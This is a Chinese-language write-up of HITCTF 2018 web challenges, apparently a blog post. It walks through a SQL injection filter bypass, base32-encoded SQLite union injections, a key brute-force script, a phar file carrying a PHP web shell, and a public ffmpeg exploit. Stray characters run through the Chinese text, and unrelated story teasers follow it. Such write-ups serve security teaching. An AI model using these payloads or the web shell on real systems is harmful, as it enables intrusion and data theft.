[hitctf] Web Writeup

PHP reading

PHP reading
  • 上掃描器掃出index.php.bak 下載"源碼"
<?php 
    eval(base64_decode('JGZsYWc9JF9HRVRbJ2FzZGZnanh6a2FsbGdqODg1MiddO2lmKCRmbGFnPT0nSDFUY3RGMjAxOEV6Q1RGJyl7ZGllKCRmbGFnKTt9ZGllKCdlbW1tbScpOw=='))
?>

里面的內(nèi)容base64decode之后是源碼

$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');

輸入urlhttp://198.13.58.35:8899?asdfgjxzkallgj8852= H1TctF2018EzCTF之后得到flag

BabyEval

BabyEval
  • 進(jìn)入之后查看html源碼發(fā)現(xiàn)題目源碼
<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->
  • 以前一航師傅分析過(guò)這一題
    http://www.reibang.com/p/dd72566ca4df
    我覺(jué)得可能是可變變量的簡(jiǎn)寫(xiě)形式導(dǎo)致的這個(gè)問(wèn)題,如文檔所說(shuō)
$aaa = 'phpinfo';
$b = 'aaa';
echo $$b; //輸出phpinfo

////////////

$a = 'phpinfo';
$b = 'aaa';
echo ${$b}; //也輸出phpinfo
//則以下也是正確的
echo ${'aaa'}; //也輸出phpinfo
echo ${'a'+'aa'}; //也輸出phpinfo
try

做了一下嘗試,花括號(hào)內(nèi)是可以執(zhí)行運(yùn)算的,并且會(huì)強(qiáng)制類型轉(zhuǎn)換成字符串,猜測(cè)是類似一個(gè)eval再?gòu)?qiáng)制轉(zhuǎn)換成字符串?留個(gè)坑...以后研究源碼的時(shí)候再看看....

BabyLeakage

BabyLeakage
  • 題目瘋狂引導(dǎo)我們?nèi)ナ箲?yīng)用出錯(cuò)
    通知

    錦囊
  • 首先試一試url方面


    route_error
  • 逐個(gè)嘗試之后在news/auth路由下發(fā)現(xiàn)了一個(gè)奇怪的報(bào)錯(cuò)


    error

    其中更是爆出了mysql的賬號(hào)密碼
    info
  • 我們探測(cè)一下該ip的mysql默認(rèn)端口的情況
    mysql-3306
  • 既然開(kāi)啟的話我們嘗試遠(yuǎn)程登錄


    mysql-login

    bingo!

  • 最后在F1agIsHere庫(kù)的表描述下找到flag

mysql> use F1agIsHere;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+----------------------+
| Tables_in_F1agIsHere |
+----------------------+
| a                    |
| f                    |
| g                    |
| l                    |
+----------------------+
4 rows in set (0.05 sec)

mysql> describe f;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H     | text | YES  |     | NULL    |       |
| I     | text | YES  |     | NULL    |       |
| TC    | text | YES  |     | NULL    |       |
| T     | text | YES  |     | NULL    |       |
| F     | text | YES  |     | NULL    |       |
+-------+------+------+-----+---------+-------+
5 rows in set (0.04 sec)

mysql> describe l;
+---------+------+------+-----+---------+-------+
| Field   | Type | Null | Key | Default | Extra |
+---------+------+------+-----+---------+-------+
| {       | text | YES  |     | NULL    |       |
| C10se_  | text | YES  |     | NULL    |       |
| Debu91n | text | YES  |     | NULL    |       |
+---------+------+------+-----+---------+-------+
3 rows in set (0.05 sec)

mysql> describe a;
+----------+------+------+-----+---------+-------+
| Field    | Type | Null | Key | Default | Extra |
+----------+------+------+-----+---------+-------+
| fo_Is_Im | text | YES  |     | NULL    |       |
| mmp      | text | YES  |     | NULL    |       |
| ort      | text | YES  |     | NULL    |       |
+----------+------+------+-----+---------+-------+
3 rows in set (0.05 sec)

mysql> describe g;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| 4n7   | text | YES  |     | NULL    |       |
| }     | text | YES  |     | NULL    |       |
+-------+------+------+-----+---------+-------+
2 rows in set (0.06 sec)

mysql> 

BabyInjection

BabyInjection
  • 題目給了源碼
<?php
error_reporting(0);

if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
    echo 'Login and get the flag';
    echo '<form action="" method="post">'."<br/>";
    echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
    echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
    echo '<input type="submit" ></input>'."<br/>";
    echo '</form>'."<br/>";
    die;
}

$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";

$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
    die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
    die("Hacker hacker hacker~");
}

$conn = mysqli_connect();

$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
    $result = mysqli_fetch_array($query);
    if ($result['passwd'] == $passwd){
        die('you did it and this is your flag: '.$flag);
    }
    else{
        die('Wrong password');
    }
}
else{
    die('Wrong username');
}
  • ban掉了很多關(guān)鍵字
    而且從ban list里面感覺(jué)到出題人并不是想我們找出真正的密碼,而是單純的繞過(guò),是以前碰到的一個(gè)題目的套路,首先可以用group by passwd with rollup來(lái)制造一個(gè)空行(利用統(tǒng)計(jì)函數(shù),查詢結(jié)果多一行并且passwd為空),這里本來(lái)可以直接用limit篩選出我們需要的那個(gè)空行,但是這里limit被ban了,沒(méi)關(guān)系,還可以用having子句來(lái)篩選出我們需要的帶有空字段的行,因?yàn)閔aving子句是再分組查詢之后再執(zhí)行的,所以最后post payload如下username='|| 1 group by passwd with rollup having passwd is null#&passwd=
mysql> use test;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> describe test;
+-------+--------------+------+-----+---------+-------+
| Field | Type         | Null | Key | Default | Extra |
+-------+--------------+------+-----+---------+-------+
| id    | int(11)      | NO   | PRI | NULL    |       |
| phone | varchar(255) | YES  |     | NULL    |       |
+-------+--------------+------+-----+---------+-------+
2 rows in set (0.00 sec)

mysql> select * from test;
+----+---------+
| id | phone   |
+----+---------+
|  1 | ' or 1# |
+----+---------+
1 row in set (0.00 sec)

mysql> select id,phone from test where id=0 or 1 group by id,phone with rollup;
+----+---------+
| id | phone   |
+----+---------+
|  1 | ' or 1# |
|  1 | NULL    |
| NULL | NULL    |
+----+---------+
3 rows in set (0.00 sec)

mysql> select id,phone from test where id=0 or 1 group by id with rollup;
+----+---------+
| id | phone   |
+----+---------+
|  1 | ' or 1# |
| NULL | ' or 1# |
+----+---------+
2 rows in set (0.00 sec)

mysql> select id,phone from test where id=0 or 1 group by phone with rollup;
+----+---------+
| id | phone   |
+----+---------+
|  1 | ' or 1# |
|  1 | NULL    |
+----+---------+
2 rows in set (0.00 sec)

mysql> select id,phone from test where id=0 or 1 group by phone with rollup having phone is null;
+----+-------+
| id | phone |
+----+-------+
|  1 | NULL  |
+----+-------+
1 row in set (0.01 sec)

mysql> 

小電影

小電影

ffmpeg的漏洞http://www.freebuf.com/column/142775.html
exp : https://github.com/neex/ffmpeg-avi-m3u-xbin
根據(jù)html源碼提示利用exp去讀flag文件即可

SecurePY

SecurePY

hint說(shuō)python的緩存,并且給了uwsgi的配置項(xiàng)

http://123.206.83.157:8000/__pycache__/app.cpython-35.pyc下載源碼,源碼如下:

#!/usr/bin/env python
# visit http://tool.lu/pyc/ for more information
from flask import Flask, request, jsonify, render_template
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
import os
app = Flask(__name__)
flag_key = os.environ['KEY']
flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add'

def index():
    return render_template('index.html', flag_enc = flag_enc)

index = app.route('/')(index)

def getflag():
    req = request.json
    if not req:
        return jsonify(result = False)
    if None not in req:
        return jsonify(result = False)
    key = req['key']
    if len(key) != len(flag_key):
        return jsonify(result = False)
    for (x, y) in zip(key, flag_key):
        if ord(x) ^ ord(y):
            return jsonify(result = False)
    cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000')
    plain_text = cryptor.decrypt(a2b_hex(flag_enc))
    flag = plain_text.decode('utf-8').strip()
    return jsonify(result = True, flag = flag)

getflag = app.route('/getflag', methods = [
    'POST'])(getflag)
if __name__ == '__main__':
    app.run()
  • 首先f(wàn)lag是經(jīng)過(guò)AES加密的,我們需要找到key去解密,而且我們得先知道key的長(zhǎng)度(在這里很明顯是16位),然后題目有一處逐位比較的地方,ord(x) ^ ord(y),通過(guò)這個(gè)地方我們能一位位構(gòu)造爆破,但是問(wèn)題是我們?nèi)绾螀^(qū)別爆破成功和爆破失敗?
  • 這里涉及到python的序列化json后轉(zhuǎn)換的對(duì)象問(wèn)題,https://docs.python.org/3/library/json.html#encoders-and-decoders
    如果遇到null就會(huì)被轉(zhuǎn)換成None,遇到ord(None)的時(shí)候python就會(huì)拋出錯(cuò)誤
    error
    嘗試一下
    500 error

    return false

    這樣的話我們就能夠根據(jù)是否500來(lái)爆破我們需要的key了
    爆破腳本
import requests

se = requests.Session()

key = [None,None,None,None,None,None,None,None,None,None,None,None,None,None,None,None]
realkey = ''

for x in xrange(0,16):
    for y in xrange(32,128):
        key[x] = str(chr(y))
        test = {"key" : key}
        res = se.post('http://123.206.83.157:8000/getflag',json=test)
        # print res.content
        # exit()
        if '500' in res.content:
            print str(chr(y))
            realkey += str(chr(y))
            break
print realkey

得到key : 5ecur3pPYpyPYk3y
提交之后得到flag

參考:https://chybeta.github.io/2017/09/05/TWCTF-2017-Super-Secure-Storage-writeup/

BabyWrite

BabyWrite

index.php
  • 一看到這個(gè)url就想到了這個(gè)login很有可能是login.php被包含進(jìn)來(lái)的, 遂直接訪問(wèn)login.php發(fā)現(xiàn)是可以的,所以直接用偽協(xié)議讀取文件內(nèi)容


    php wrapper

    源碼如下:

<!DOCTYPE html>
<html>
<head>
    <title>CTF</title>
</head>
<body>

    ???é??解é????′?¤????è??
    <form action="login.php" method="POST">
        ??¨??·??? : <input name="username" placeholder="username"><br/>
        ?ˉ?? ? : <input name="password" placeholder="password"><br/><br/>
        <input type="submit" value="???é??">
    </form>
</body>
</html>

<?php
    require_once('config.php');
    if(isset($_POST['username']) && isset($_POST['password'])){
        $username = $_POST['username'];
        $password = $_POST['password'];
        if ($username === "admin" && sha1(md5($password)) === $admin_hash){
            echo '<script>alert("Login seccess!");</script>';
        }else{
            if (isset($_GET['debug'])){
                if($_GET['debug'] === 'hitctf'){
                    $logfile = "log/".$username.".log";
                    $content = $username." => ".$password;
                    file_put_contents($logfile, $content);

                }else{
                    echo '<script>alert("Login failed!");</script>';
                }
            }else{
                echo '<script>alert("Login failed!");</script>';
            }
        }
    }else{
        echo '<script>alert("Please input username and password!");</script>';
    }
?>
  • 從源碼我們可以知道就算我們不登錄也沒(méi)有啥問(wèn)題,提交debug參數(shù)之后可以任意寫(xiě)入文件內(nèi)容到log后綴的文件中,這里限定死了后綴,也就是無(wú)法直接用文件包含getShell(此題包含時(shí)后綴要求是php),但是可以利用zip和phar偽協(xié)議包含,但是這里有個(gè)問(wèn)題, 題目會(huì)在文件前加上 username => password ,這樣的字符串有可能會(huì)破壞文件格式導(dǎo)致解壓失敗. 一葉飄零大佬是直接構(gòu)造出了zip,http://skysec.top/2018/02/01/HITCTF-WEB%E9%A2%98%E8%A7%A3/
    其實(shí)用phar也可以做, 并且不用顧及格式問(wèn)題,因?yàn)閜har在解壓的時(shí)候先尋找stub部分,也就是<?php ?>標(biāo)簽內(nèi)的內(nèi)容(會(huì)將前面的忽略),所以只要stub結(jié)構(gòu)完整就ok了
  • 構(gòu)造phar
<?php
$p = new Phar('Pr0ph3t.phar', 0);
$p['shit.php'] = '<?php system($_GET[\'uuu\']); ?>';
$p->setStub('<?php __HALT_COMPILER(); ?>');
?>
  • 寫(xiě)入log
    post username為Pr0ph3t段誊、password為生成的phar內(nèi)容到http://120.24.215.80:10012/?page=login&debug=hitctf
    但是這里并不能直接用phar偽協(xié)議去包含,因?yàn)閜har文件被修改過(guò)了,所以sha1簽名對(duì)應(yīng)不上,不會(huì)被解壓 所以下一步是修改文件sha1

  • 下載被修改的log
    訪問(wèn)http://120.24.215.80:10012/log/Pr0ph3t.log得到被修改后的phar文件

    被修改之后的phar文件

    其中被選中部分是這個(gè)phar的sha1簽名(http://php.net/manual/en/phar.fileformat.phar.php)

  • 計(jì)算新sha1并更改上傳新phar


    舊phar

    被修改之后的phar(除去校驗(yàn)部分)

    計(jì)算新sha1

    更改剛才的選中部分


    新phar

    然后再次寫(xiě)入新phar到log
  • getShell


    getShell
  • flag在根目錄下

BabyQuery

BabyQuery
  • 一個(gè)關(guān)于GraphQL的注入
    GraphQL的介紹http://graphql.cn/
    簡(jiǎn)單來(lái)說(shuō)GraphQL就是一種介于數(shù)據(jù)庫(kù)和客戶端的一種類似于api的查詢語(yǔ)言,客戶并不直接告訴數(shù)據(jù)庫(kù)需要的數(shù)據(jù),而是GraphQL來(lái)告訴數(shù)據(jù)庫(kù)客戶需要什么數(shù)據(jù),極大的避免了注入
  • 但是這題用GraphQL的時(shí)候沒(méi)有很好的過(guò)濾完全
  • 首先getscorebyid這個(gè)操作是沒(méi)問(wèn)題的 id字段的內(nèi)容base32encode過(guò)的,并且限制一位,無(wú)法注入
    base32
  • 然后嘗試看看有沒(méi)有其他操作
    其他操作
  • 有g(shù)etscorebyyourname操作,猜測(cè)這個(gè)操作應(yīng)該有name字段
    不能查詢id

    這個(gè)操作不能查詢id,去掉

  • 正常查詢
    正常查詢
  • 嘗試一下存不存在注入
Alice
  ||
IFWGSY3F (base32encode)

Alice' and 1 --+
  ||
IFWGSY3FE4QGC3TEEAYSALJNFM======

Alice' and 0 --+
  ||
IFWGSY3FE4QGC3TEEAYCALJNFM======
Alice' and 1 --+

Alice' and 0 --+

是存在注入的

  • 下一步就是判斷數(shù)據(jù)庫(kù)類型
a' union select version() --+
  ||
METSA5LONFXW4IDTMVWGKY3UEB3GK4TTNFXW4KBJEAWS2KY=
a' union select version() --+

不是mysql

a' union select sqlite_version() --+
  ||
METSA5LONFXW4IDTMVWGKY3UEBZXC3DJORSV65TFOJZWS33OFAUSALJNFM======
a' union select sqlite_version() --+

確認(rèn)數(shù)據(jù)庫(kù)為sqlite

a' union select group_concat(name) from sqlite_master where type='table' --+
  ||
METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDOMFWWKKJAMZZG63JAONYWY2LUMVPW2YLTORSXEIDXNBSXEZJAOR4XAZJ5E52GCYTMMUTSALJNFM======
a' union select group_concat(name) from sqlite_master where type='table' --+
a' union select group_concat(sql) from sqlite_master where type='table' and name='Secr3t_fl4g'--+
  ||
METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDTOFWCSIDGOJXW2IDTOFWGS5DFL5WWC43UMVZCA53IMVZGKIDUPFYGKPJHORQWE3DFE4QGC3TEEBXGC3LFHUTVGZLDOIZXIX3GNQ2GOJZNFUVQ====
a' union select group_concat(sql) from sqlite_master where type='table' and name='Secr3t_fl4g'--+
  • getFlag
a' union select group_concat(flag) from Secr3t_fl4g --+
  ||
METSA5LONFXW4IDTMVWGKY3UEBTXE33VOBPWG33OMNQXIKDGNRQWOKJAMZZG63JAKNSWG4RTORPWM3BUM4QC2LJL
getFlag

感覺(jué)自己越打越菜了....Orz...........

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末腺兴,一起剝皮案震驚了整個(gè)濱河市案腺,隨后出現(xiàn)的幾起案子娶桦,更是在濱河造成了極大的恐慌刽沾,老刑警劉巖哎迄,帶你破解...
    沈念sama閱讀 222,729評(píng)論 6 517
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件鲜戒,死亡現(xiàn)場(chǎng)離奇詭異咙冗,居然都是意外死亡孵滞,警方通過(guò)查閱死者的電腦和手機(jī)中捆,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,226評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)坊饶,“玉大人泄伪,你說(shuō)我怎么就攤上這事∧浼叮” “怎么了蟋滴?”我有些...
    開(kāi)封第一講書(shū)人閱讀 169,461評(píng)論 0 362
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)根蟹。 經(jīng)常有香客問(wèn)我脓杉,道長(zhǎng),這世上最難降的妖魔是什么简逮? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 60,135評(píng)論 1 300
  • 正文 為了忘掉前任球散,我火速辦了婚禮,結(jié)果婚禮上散庶,老公的妹妹穿的比我還像新娘蕉堰。我一直安慰自己凌净,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,130評(píng)論 6 398
  • 文/花漫 我一把揭開(kāi)白布屋讶。 她就那樣靜靜地躺著冰寻,像睡著了一般。 火紅的嫁衣襯著肌膚如雪皿渗。 梳的紋絲不亂的頭發(fā)上斩芭,一...
    開(kāi)封第一講書(shū)人閱讀 52,736評(píng)論 1 312
  • 那天,我揣著相機(jī)與錄音乐疆,去河邊找鬼划乖。 笑死,一個(gè)胖子當(dāng)著我的面吹牛挤土,可吹牛的內(nèi)容都是我干的琴庵。 我是一名探鬼主播,決...
    沈念sama閱讀 41,179評(píng)論 3 422
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼仰美,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼迷殿!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起咖杂,我...
    開(kāi)封第一講書(shū)人閱讀 40,124評(píng)論 0 277
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤庆寺,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后诉字,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體止邮,經(jīng)...
    沈念sama閱讀 46,657評(píng)論 1 320
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 38,723評(píng)論 3 342
  • 正文 我和宋清朗相戀三年奏窑,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片屈扎。...
    茶點(diǎn)故事閱讀 40,872評(píng)論 1 353
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡埃唯,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出鹰晨,到底是詐尸還是另有隱情墨叛,我是刑警寧澤,帶...
    沈念sama閱讀 36,533評(píng)論 5 351
  • 正文 年R本政府宣布模蜡,位于F島的核電站漠趁,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏忍疾。R本人自食惡果不足惜闯传,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 42,213評(píng)論 3 336
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望卤妒。 院中可真熱鬧甥绿,春花似錦字币、人聲如沸。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 32,700評(píng)論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)。三九已至图谷,卻和暖如春翩活,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背便贵。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,819評(píng)論 1 274
  • 我被黑心中介騙來(lái)泰國(guó)打工菠镇, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人嫉沽。 一個(gè)月前我還...
    沈念sama閱讀 49,304評(píng)論 3 379
  • 正文 我出身青樓辟犀,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親绸硕。 傳聞我的和親對(duì)象是個(gè)殘疾皇子堂竟,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,876評(píng)論 2 361

推薦閱讀更多精彩內(nèi)容